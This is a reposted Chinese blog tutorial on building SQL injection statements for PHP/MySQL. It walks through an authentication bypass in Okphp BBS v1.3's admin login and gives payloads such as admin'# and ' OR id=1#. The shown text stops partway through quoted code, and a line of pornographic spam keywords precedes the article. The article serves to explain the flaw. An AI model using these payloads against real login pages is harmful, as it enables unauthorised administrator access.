乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      php mysql SQL注入語(yǔ)句構(gòu)造

       好亂非常亂 2016-09-25

      由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時(shí)語(yǔ)句的構(gòu)造方面更是個(gè)難點(diǎn),本文主要是借對(duì)Okphp BBS v1.3一些文件得簡(jiǎn)單分析,來(lái)談?wù)刾hp+mysql注射語(yǔ)句構(gòu)造方式,希望本文對(duì)你有點(diǎn)幫助。

        聲明:文章所有提到的“漏洞”,都沒(méi)有經(jīng)過(guò)測(cè)試,可能根本不存在,其實(shí)有沒(méi)有漏洞并不重要,重要的是分析思路和語(yǔ)句構(gòu)造。

        二.“漏洞”分析:

        1.admin/login.php注射導(dǎo)致繞過(guò)身份驗(yàn)證漏洞:

        代碼:

        $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

        $password = md5($password);

        $q = 'select id,group_id from $user_table where username='$username' and password='$password'';

        $res = sql_query($q,$conn);

        $row = sql_fetch_row($res);

        $q = 'select id,group_id from $user_table where username='$username' and password='$password''中

        $username 和 $password 沒(méi)過(guò)濾, 很容易就繞過(guò)。

        對(duì)于select * from $user_table where username='$username' and password='$password'這樣的語(yǔ)句改造的方法有:

        構(gòu)造1(利用邏輯運(yùn)算):$username=' OR 'a'='a $password=' OR 'a'='a

        相當(dāng)于sql語(yǔ)句:

        select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

        構(gòu)造2(利用mysql里的注釋語(yǔ)句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

        即:

        select * from $user_table where username='admin'#' and password='$password''

        相當(dāng)于:

        select * from $user_table where username='admin'

        在admin/login.php中$q語(yǔ)句中的$password在查詢前進(jìn)行了md5加密所以不可以用構(gòu)造1中的語(yǔ)句繞過(guò)。這里我們用構(gòu)造2:

        select id,group_id from $user_table where username='admin'#' and password='$password''

        相當(dāng)于:

        select id,group_id from $user_table where username='admin'

        只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對(duì)應(yīng)的id,

        我們就可以這樣構(gòu)造:$username=' OR id=1#

        相當(dāng)于:

        select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

        我們接著往下看代碼:

        if ($row[0]) {

        // If not admin or super moderator

        if ($username != 'admin' && !eregi('(^|&)3($|&)',$row[1])) {

        $login = 0;

        }

        else {

        $login = 1;

        }

        }

        // Fail to login---------------

        if (!$login) {

        write_log('Moderator login','0','password wrong');


        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多